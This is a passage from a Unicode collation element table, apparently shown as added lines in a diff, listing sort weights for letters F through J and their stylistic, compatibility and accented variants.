+1F193 ; [.1CE5.0020.001D][.1E33.0020.001D][.1CAA.0020.001D][.1CAA.0020.001D] # SQUARED FREE
+A730  ; [.1CE9.0020.0002] # LATIN LETTER SMALL CAPITAL F
+AB35  ; [.1CEA.0020.0002] # LATIN SMALL LETTER LENIS F
+A799  ; [.1CEB.0020.0002] # LATIN SMALL LETTER F WITH STROKE
+A798  ; [.1CEB.0020.0008] # LATIN CAPITAL LETTER F WITH STROKE
+1D6E  ; [.1CEC.0020.0002] # LATIN SMALL LETTER F WITH MIDDLE TILDE
+1D82  ; [.1CED.0020.0002] # LATIN SMALL LETTER F WITH PALATAL HOOK
+0192  ; [.1CEE.0020.0002] # LATIN SMALL LETTER F WITH HOOK
+0191  ; [.1CEE.0020.0008] # LATIN CAPITAL LETTER F WITH HOOK
+214E  ; [.1CF2.0020.0002] # TURNED SMALL F
+2132  ; [.1CF2.0020.0008] # TURNED CAPITAL F
+A7FB  ; [.1CF3.0020.0002] # LATIN EPIGRAPHIC LETTER REVERSED F
+0067  ; [.1CF4.0020.0002] # LATIN SMALL LETTER G
+FF47  ; [.1CF4.0020.0003] # FULLWIDTH LATIN SMALL LETTER G
+1DDA  ; [.1CF4.0020.0004] # COMBINING LATIN SMALL LETTER G
+24A2  ; [*0317.0020.0004][.1CF4.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER G
+210A  ; [.1CF4.0020.0005] # SCRIPT SMALL G
+1D420 ; [.1CF4.0020.0005] # MATHEMATICAL BOLD SMALL G
+1D454 ; [.1CF4.0020.0005] # MATHEMATICAL ITALIC SMALL G
+1D488 ; [.1CF4.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL G
+1D4F0 ; [.1CF4.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL G
+1D524 ; [.1CF4.0020.0005] # MATHEMATICAL FRAKTUR SMALL G
+1D558 ; [.1CF4.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL G
+1D58C ; [.1CF4.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL G
+1D5C0 ; [.1CF4.0020.0005] # MATHEMATICAL SANS-SERIF SMALL G
+1D5F4 ; [.1CF4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL G
+1D628 ; [.1CF4.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL G
+1D65C ; [.1CF4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL G
+1D690 ; [.1CF4.0020.0005] # MATHEMATICAL MONOSPACE SMALL G
+24D6  ; [.1CF4.0020.0006] # CIRCLED LATIN SMALL LETTER G
+0047  ; [.1CF4.0020.0008] # LATIN CAPITAL LETTER G
+FF27  ; [.1CF4.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER G
+1F116 ; [*0317.0020.0004][.1CF4.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER G
+1D406 ; [.1CF4.0020.000B] # MATHEMATICAL BOLD CAPITAL G
+1D43A ; [.1CF4.0020.000B] # MATHEMATICAL ITALIC CAPITAL G
+1D46E ; [.1CF4.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL G
+1D4A2 ; [.1CF4.0020.000B] # MATHEMATICAL SCRIPT CAPITAL G
+1D4D6 ; [.1CF4.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL G
+1D50A ; [.1CF4.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL G
+1D53E ; [.1CF4.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL G
+1D572 ; [.1CF4.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL G
+1D5A6 ; [.1CF4.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL G
+1D5DA ; [.1CF4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL G
+1D60E ; [.1CF4.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL G
+1D642 ; [.1CF4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL G
+1D676 ; [.1CF4.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL G
+24BC  ; [.1CF4.0020.000C] # CIRCLED LATIN CAPITAL LETTER G
+1F156 ; [.1CF4.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER G
+1D4D  ; [.1CF4.0020.0014] # MODIFIER LETTER SMALL G
+1D33  ; [.1CF4.0020.001D] # MODIFIER LETTER CAPITAL G
+1F136 ; [.1CF4.0020.001D] # SQUARED LATIN CAPITAL LETTER G
+1F176 ; [.1CF4.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER G
+01F5  ; [.1CF4.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER G WITH ACUTE
+01F4  ; [.1CF4.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER G WITH ACUTE
+011F  ; [.1CF4.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER G WITH BREVE
+011E  ; [.1CF4.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER G WITH BREVE
+011D  ; [.1CF4.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX
+011C  ; [.1CF4.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX
+01E7  ; [.1CF4.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER G WITH CARON
+01E6  ; [.1CF4.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER G WITH CARON
+0121  ; [.1CF4.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER G WITH DOT ABOVE
+0120  ; [.1CF4.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER G WITH DOT ABOVE
+0123  ; [.1CF4.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER G WITH CEDILLA
+0122  ; [.1CF4.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER G WITH CEDILLA
+1E21  ; [.1CF4.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER G WITH MACRON
+1E20  ; [.1CF4.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER G WITH MACRON
+A7A1  ; [.1CF4.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER G WITH OBLIQUE STROKE
+A7A0  ; [.1CF4.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER G WITH OBLIQUE STROKE
+1D79  ; [.1CF4.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR G
+A77D  ; [.1CF4.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR G
+33FF  ; [.1CF4.0020.001C][.1C47.0020.001C][.1D77.0020.001C] # SQUARE GAL
+3387  ; [.1CF4.0020.001D][.1C60.0020.001D] # SQUARE GB
+3393  ; [.1CF4.0020.001D][.1D18.0020.001D][.1F21.0020.001C] # SQUARE GHZ
+33AC  ; [.1CF4.0020.001D][.1E0C.0020.001D][.1C47.0020.001C] # SQUARE GPA
+33C9  ; [.1CF4.0020.001D][.1F0B.0020.001C] # SQUARE GY
+0261  ; [.1CF8.0020.0002] # LATIN SMALL LETTER SCRIPT G
+A7AC  ; [.1CF8.0020.0008] # LATIN CAPITAL LETTER SCRIPT G
+1DA2  ; [.1CF8.0020.0014] # MODIFIER LETTER SMALL SCRIPT G
+AB36  ; [.1CFC.0020.0002] # LATIN SMALL LETTER SCRIPT G WITH CROSSED-TAIL
+0262  ; [.1CFD.0020.0002] # LATIN LETTER SMALL CAPITAL G
+1DDB  ; [.1CFD.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL G
+01E5  ; [.1D01.0020.0002] # LATIN SMALL LETTER G WITH STROKE
+01E4  ; [.1D01.0020.0008] # LATIN CAPITAL LETTER G WITH STROKE
+1D83  ; [.1D05.0020.0002] # LATIN SMALL LETTER G WITH PALATAL HOOK
+0260  ; [.1D06.0020.0002] # LATIN SMALL LETTER G WITH HOOK
+0193  ; [.1D06.0020.0008] # LATIN CAPITAL LETTER G WITH HOOK
+029B  ; [.1D0A.0020.0002] # LATIN LETTER SMALL CAPITAL G WITH HOOK
+1D77  ; [.1D0E.0020.0002] # LATIN SMALL LETTER TURNED G
+A77F  ; [.1D0F.0020.0002] # LATIN SMALL LETTER TURNED INSULAR G
+A77E  ; [.1D0F.0020.0008] # LATIN CAPITAL LETTER TURNED INSULAR G
+0263  ; [.1D10.0020.0002] # LATIN SMALL LETTER GAMMA
+0194  ; [.1D10.0020.0008] # LATIN CAPITAL LETTER GAMMA
+02E0  ; [.1D10.0020.0014] # MODIFIER LETTER SMALL GAMMA
+01A3  ; [.1D14.0020.0002] # LATIN SMALL LETTER OI
+01A2  ; [.1D14.0020.0008] # LATIN CAPITAL LETTER OI
+0068  ; [.1D18.0020.0002] # LATIN SMALL LETTER H
+FF48  ; [.1D18.0020.0003] # FULLWIDTH LATIN SMALL LETTER H
+036A  ; [.1D18.0020.0004] # COMBINING LATIN SMALL LETTER H
+24A3  ; [*0317.0020.0004][.1D18.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER H
+210E  ; [.1D18.0020.0005] # PLANCK CONSTANT
+1D421 ; [.1D18.0020.0005] # MATHEMATICAL BOLD SMALL H
+1D489 ; [.1D18.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL H
+1D4BD ; [.1D18.0020.0005] # MATHEMATICAL SCRIPT SMALL H
+1D4F1 ; [.1D18.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL H
+1D525 ; [.1D18.0020.0005] # MATHEMATICAL FRAKTUR SMALL H
+1D559 ; [.1D18.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL H
+1D58D ; [.1D18.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL H
+1D5C1 ; [.1D18.0020.0005] # MATHEMATICAL SANS-SERIF SMALL H
+1D5F5 ; [.1D18.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL H
+1D629 ; [.1D18.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL H
+1D65D ; [.1D18.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL H
+1D691 ; [.1D18.0020.0005] # MATHEMATICAL MONOSPACE SMALL H
+24D7  ; [.1D18.0020.0006] # CIRCLED LATIN SMALL LETTER H
+0048  ; [.1D18.0020.0008] # LATIN CAPITAL LETTER H
+FF28  ; [.1D18.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER H
+1F117 ; [*0317.0020.0004][.1D18.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER H
+210B  ; [.1D18.0020.000B] # SCRIPT CAPITAL H
+210C  ; [.1D18.0020.000B] # BLACK-LETTER CAPITAL H
+210D  ; [.1D18.0020.000B] # DOUBLE-STRUCK CAPITAL H
+1D407 ; [.1D18.0020.000B] # MATHEMATICAL BOLD CAPITAL H
+1D43B ; [.1D18.0020.000B] # MATHEMATICAL ITALIC CAPITAL H
+1D46F ; [.1D18.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL H
+1D4D7 ; [.1D18.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL H
+1D573 ; [.1D18.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL H
+1D5A7 ; [.1D18.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL H
+1D5DB ; [.1D18.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL H
+1D60F ; [.1D18.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL H
+1D643 ; [.1D18.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL H
+1D677 ; [.1D18.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL H
+24BD  ; [.1D18.0020.000C] # CIRCLED LATIN CAPITAL LETTER H
+1F157 ; [.1D18.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER H
+02B0  ; [.1D18.0020.0014] # MODIFIER LETTER SMALL H
+2095  ; [.1D18.0020.0015] # LATIN SUBSCRIPT SMALL LETTER H
+1D34  ; [.1D18.0020.001D] # MODIFIER LETTER CAPITAL H
+1F137 ; [.1D18.0020.001D] # SQUARED LATIN CAPITAL LETTER H
+1F177 ; [.1D18.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER H
+0125  ; [.1D18.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX
+0124  ; [.1D18.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX
+021F  ; [.1D18.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER H WITH CARON
+021E  ; [.1D18.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER H WITH CARON
+1E27  ; [.1D18.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER H WITH DIAERESIS
+1E26  ; [.1D18.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER H WITH DIAERESIS
+1E23  ; [.1D18.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER H WITH DOT ABOVE
+1E22  ; [.1D18.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER H WITH DOT ABOVE
+1E29  ; [.1D18.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER H WITH CEDILLA
+1E28  ; [.1D18.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER H WITH CEDILLA
+0127  ; [.1D18.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER H WITH STROKE
+210F  ; [.1D18.0020.0002][.0000.0039.0002] # PLANCK CONSTANT OVER TWO PI
+0126  ; [.1D18.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER H WITH STROKE
+A7F8  ; [.1D18.0020.0014][.0000.0039.0014] # MODIFIER LETTER CAPITAL H WITH STROKE
+1E25  ; [.1D18.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER H WITH DOT BELOW
+1E24  ; [.1D18.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER H WITH DOT BELOW
+1E2B  ; [.1D18.0020.0002][.0000.0047.0002] # LATIN SMALL LETTER H WITH BREVE BELOW
+1E2A  ; [.1D18.0020.0008][.0000.0047.0002] # LATIN CAPITAL LETTER H WITH BREVE BELOW
+1E96  ; [.1D18.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER H WITH LINE BELOW
+33CA  ; [.1D18.0020.001C][.1C47.0020.001C] # SQUARE HA
+1F1A6 ; [.1D18.0020.001D][.1C7A.0020.001C] # SQUARED HC
+1F1A7 ; [.1D18.0020.001D][.1C8F.0020.001C][.1E33.0020.001D] # SQUARED HDR
+32CC  ; [.1D18.0020.001D][.1CF4.0020.001C] # SQUARE HG
+1F1A8 ; [.1D18.0020.001D][.1D32.0020.001C][*0209.0020.001C][.1E33.0020.001D][.1CAA.0020.001C][.1E71.0020.001C] # SQUARED HI-RES
+33CB  ; [.1D18.0020.001D][.1E0C.0020.001D] # SQUARE HP
+3371  ; [.1D18.0020.001C][.1E0C.0020.001D][.1C47.0020.001C] # SQUARE HPA
+1F14A ; [.1D18.0020.001D][.1EE3.0020.001D] # SQUARED HV
+3390  ; [.1D18.0020.001D][.1F21.0020.001C] # SQUARE HZ
+029C  ; [.1D1C.0020.0002] # LATIN LETTER SMALL CAPITAL H
+0195  ; [.1D20.0020.0002] # LATIN SMALL LETTER HV
+01F6  ; [.1D20.0020.0008] # LATIN CAPITAL LETTER HWAIR
+A795  ; [.1D24.0020.0002] # LATIN SMALL LETTER H WITH PALATAL HOOK
+0266  ; [.1D25.0020.0002] # LATIN SMALL LETTER H WITH HOOK
+A7AA  ; [.1D25.0020.0008] # LATIN CAPITAL LETTER H WITH HOOK
+02B1  ; [.1D25.0020.0014] # MODIFIER LETTER SMALL H WITH HOOK
+2C68  ; [.1D29.0020.0002] # LATIN SMALL LETTER H WITH DESCENDER
+2C67  ; [.1D29.0020.0008] # LATIN CAPITAL LETTER H WITH DESCENDER
+2C76  ; [.1D2A.0020.0002] # LATIN SMALL LETTER HALF H
+2C75  ; [.1D2A.0020.0008] # LATIN CAPITAL LETTER HALF H
+A727  ; [.1D2B.0020.0002] # LATIN SMALL LETTER HENG
+A726  ; [.1D2B.0020.0008] # LATIN CAPITAL LETTER HENG
+AB5C  ; [.1D2B.0020.0014] # MODIFIER LETTER SMALL HENG
+0267  ; [.1D2C.0020.0002] # LATIN SMALL LETTER HENG WITH HOOK
+02BB  ; [.1D30.0020.0002] # MODIFIER LETTER TURNED COMMA
+02BD  ; [.1D31.0020.0002] # MODIFIER LETTER REVERSED COMMA
+0069  ; [.1D32.0020.0002] # LATIN SMALL LETTER I
+FF49  ; [.1D32.0020.0003] # FULLWIDTH LATIN SMALL LETTER I
+0365  ; [.1D32.0020.0004] # COMBINING LATIN SMALL LETTER I
+2170  ; [.1D32.0020.0004] # SMALL ROMAN NUMERAL ONE
+24A4  ; [*0317.0020.0004][.1D32.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER I
+2139  ; [.1D32.0020.0005] # INFORMATION SOURCE
+2148  ; [.1D32.0020.0005] # DOUBLE-STRUCK ITALIC SMALL I
+1D422 ; [.1D32.0020.0005] # MATHEMATICAL BOLD SMALL I
+1D456 ; [.1D32.0020.0005] # MATHEMATICAL ITALIC SMALL I
+1D48A ; [.1D32.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL I
+1D4BE ; [.1D32.0020.0005] # MATHEMATICAL SCRIPT SMALL I
+1D4F2 ; [.1D32.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL I
+1D526 ; [.1D32.0020.0005] # MATHEMATICAL FRAKTUR SMALL I
+1D55A ; [.1D32.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL I
+1D58E ; [.1D32.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL I
+1D5C2 ; [.1D32.0020.0005] # MATHEMATICAL SANS-SERIF SMALL I
+1D5F6 ; [.1D32.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL I
+1D62A ; [.1D32.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL I
+1D65E ; [.1D32.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL I
+1D692 ; [.1D32.0020.0005] # MATHEMATICAL MONOSPACE SMALL I
+24D8  ; [.1D32.0020.0006] # CIRCLED LATIN SMALL LETTER I
+0049  ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I
+FF29  ; [.1D32.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER I
+2160  ; [.1D32.0020.000A] # ROMAN NUMERAL ONE
+1F118 ; [*0317.0020.0004][.1D32.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER I
+2110  ; [.1D32.0020.000B] # SCRIPT CAPITAL I
+2111  ; [.1D32.0020.000B] # BLACK-LETTER CAPITAL I
+1D408 ; [.1D32.0020.000B] # MATHEMATICAL BOLD CAPITAL I
+1D43C ; [.1D32.0020.000B] # MATHEMATICAL ITALIC CAPITAL I
+1D470 ; [.1D32.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL I
+1D4D8 ; [.1D32.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL I
+1D540 ; [.1D32.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL I
+1D574 ; [.1D32.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL I
+1D5A8 ; [.1D32.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL I
+1D5DC ; [.1D32.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL I
+1D610 ; [.1D32.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL I
+1D644 ; [.1D32.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL I
+1D678 ; [.1D32.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL I
+24BE  ; [.1D32.0020.000C] # CIRCLED LATIN CAPITAL LETTER I
+1F158 ; [.1D32.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER I
+2071  ; [.1D32.0020.0014] # SUPERSCRIPT LATIN SMALL LETTER I
+1D62  ; [.1D32.0020.0015] # LATIN SUBSCRIPT SMALL LETTER I
+1D35  ; [.1D32.0020.001D] # MODIFIER LETTER CAPITAL I
+1F138 ; [.1D32.0020.001D] # SQUARED LATIN CAPITAL LETTER I
+1F178 ; [.1D32.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER I
+00ED  ; [.1D32.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER I WITH ACUTE
+00CD  ; [.1D32.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE
+00EC  ; [.1D32.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER I WITH GRAVE
+00CC  ; [.1D32.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE
+012D  ; [.1D32.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER I WITH BREVE
+012C  ; [.1D32.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE
+00EE  ; [.1D32.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX
+00CE  ; [.1D32.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
+01D0  ; [.1D32.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER I WITH CARON
+01CF  ; [.1D32.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER I WITH CARON
+00EF  ; [.1D32.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER I WITH DIAERESIS
+00CF  ; [.1D32.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS
+1E2F  ; [.1D32.0020.0002][.0000.002B.0002][.0000.0024.0002] # LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE
+1E2E  ; [.1D32.0020.0008][.0000.002B.0002][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE
+0129  ; [.1D32.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER I WITH TILDE
+0128  ; [.1D32.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER I WITH TILDE
+0130  ; [.1D32.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER I WITH DOT ABOVE
+012F  ; [.1D32.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER I WITH OGONEK
+012E  ; [.1D32.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK
+012B  ; [.1D32.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER I WITH MACRON
+012A  ; [.1D32.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON
+1EC9  ; [.1D32.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER I WITH HOOK ABOVE
+1EC8  ; [.1D32.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER I WITH HOOK ABOVE
+0209  ; [.1D32.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER I WITH DOUBLE GRAVE
+0208  ; [.1D32.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER I WITH DOUBLE GRAVE
+020B  ; [.1D32.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER I WITH INVERTED BREVE
+020A  ; [.1D32.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER I WITH INVERTED BREVE
+1ECB  ; [.1D32.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER I WITH DOT BELOW
+1ECA  ; [.1D32.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER I WITH DOT BELOW
+1E2D  ; [.1D32.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER I WITH TILDE BELOW
+1E2C  ; [.1D32.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER I WITH TILDE BELOW
+1F18B ; [.1D32.0020.001D][.1C7A.0020.001D] # NEGATIVE SQUARED IC
+1F194 ; [.1D32.0020.001D][.1C8F.0020.001D] # SQUARED ID
+2171  ; [.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL TWO
+2161  ; [.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL TWO
+2172  ; [.1D32.0020.0004][.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL THREE
+2162  ; [.1D32.0020.000A][.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL THREE
+0133  ; [.1D32.0020.0004][.1D4C.0020.0004] # LATIN SMALL LIGATURE IJ
+0132  ; [.1D32.0020.000A][.1D4C.0020.000A] # LATIN CAPITAL LIGATURE IJ
+33CC  ; [.1D32.0020.001C][.1DB9.0020.001C] # SQUARE IN
+337A  ; [.1D32.0020.001D][.1EB5.0020.001D] # SQUARE IU
+2173  ; [.1D32.0020.0004][.1EE3.0020.0004] # SMALL ROMAN NUMERAL FOUR
+2163  ; [.1D32.0020.000A][.1EE3.0020.000A] # ROMAN NUMERAL FOUR
+2178  ; [.1D32.0020.0004][.1EFF.0020.0004] # SMALL ROMAN NUMERAL NINE
+2168  ; [.1D32.0020.000A][.1EFF.0020.000A] # ROMAN NUMERAL NINE
+0131  ; [.1D36.0020.0002] # LATIN SMALL LETTER DOTLESS I
+1D6A4 ; [.1D36.0020.0005] # MATHEMATICAL ITALIC SMALL DOTLESS I
+026A  ; [.1D3A.0020.0002] # LATIN LETTER SMALL CAPITAL I
+A7AE  ; [.1D3A.0020.0008] # LATIN CAPITAL LETTER SMALL CAPITAL I
+1DA6  ; [.1D3A.0020.0014] # MODIFIER LETTER SMALL CAPITAL I
+A7FE  ; [.1D3E.0020.0002] # LATIN EPIGRAPHIC LETTER I LONGA
+A7F7  ; [.1D3F.0020.0002] # LATIN EPIGRAPHIC LETTER SIDEWAYS I
+1D09  ; [.1D40.0020.0002] # LATIN SMALL LETTER TURNED I
+1D4E  ; [.1D40.0020.0014] # MODIFIER LETTER SMALL TURNED I
+0268  ; [.1D41.0020.0002] # LATIN SMALL LETTER I WITH STROKE
+0197  ; [.1D41.0020.0008] # LATIN CAPITAL LETTER I WITH STROKE
+1DA4  ; [.1D41.0020.0014] # MODIFIER LETTER SMALL I WITH STROKE
+1D7B  ; [.1D45.0020.0002] # LATIN SMALL CAPITAL LETTER I WITH STROKE
+1DA7  ; [.1D45.0020.0014] # MODIFIER LETTER SMALL CAPITAL I WITH STROKE
+1D96  ; [.1D46.0020.0002] # LATIN SMALL LETTER I WITH RETROFLEX HOOK
+0269  ; [.1D47.0020.0002] # LATIN SMALL LETTER IOTA
+0196  ; [.1D47.0020.0008] # LATIN CAPITAL LETTER IOTA
+1DA5  ; [.1D47.0020.0014] # MODIFIER LETTER SMALL IOTA
+1D7C  ; [.1D4B.0020.0002] # LATIN SMALL LETTER IOTA WITH STROKE
+006A  ; [.1D4C.0020.0002] # LATIN SMALL LETTER J
+FF4A  ; [.1D4C.0020.0003] # FULLWIDTH LATIN SMALL LETTER J
+24A5  ; [*0317.0020.0004][.1D4C.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER J
+2149  ; [.1D4C.0020.0005] # DOUBLE-STRUCK ITALIC SMALL J
+1D423 ; [.1D4C.0020.0005] # MATHEMATICAL BOLD SMALL J
+1D457 ; [.1D4C.0020.0005] # MATHEMATICAL ITALIC SMALL J
+1D48B ; [.1D4C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL J
+1D4BF ; [.1D4C.0020.0005] # MATHEMATICAL SCRIPT SMALL J
+1D4F3 ; [.1D4C.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL J
+1D527 ; [.1D4C.0020.0005] # MATHEMATICAL FRAKTUR SMALL J
+1D55B ; [.1D4C.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL J
+1D58F ; [.1D4C.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL J
+1D5C3 ; [.1D4C.0020.0005] # MATHEMATICAL SANS-SERIF SMALL J
+1D5F7 ; [.1D4C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL J
+1D62B ; [.1D4C.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL J
+1D65F ; [.1D4C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL J
+1D693 ; [.1D4C.0020.0005] # MATHEMATICAL MONOSPACE SMALL J
+24D9  ; [.1D4C.0020.0006] # CIRCLED LATIN SMALL LETTER J
+004A  ; [.1D4C.0020.0008] # LATIN CAPITAL LETTER J
+FF2A  ; [.1D4C.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER J
+1F119 ; [*0317.0020.0004][.1D4C.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER J
+1D409 ; [.1D4C.0020.000B] # MATHEMATICAL BOLD CAPITAL J
+1D43D ; [.1D4C.0020.000B] # MATHEMATICAL ITALIC CAPITAL J
+1D471 ; [.1D4C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL J
+1D4A5 ; [.1D4C.0020.000B] # MATHEMATICAL SCRIPT CAPITAL J
+1D4D9 ; [.1D4C.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL J
+1D50D ; [.1D4C.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL J
+1D541 ; [.1D4C.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL J
+1D575 ; [.1D4C.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL J
+1D5A9 ; [.1D4C.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL J
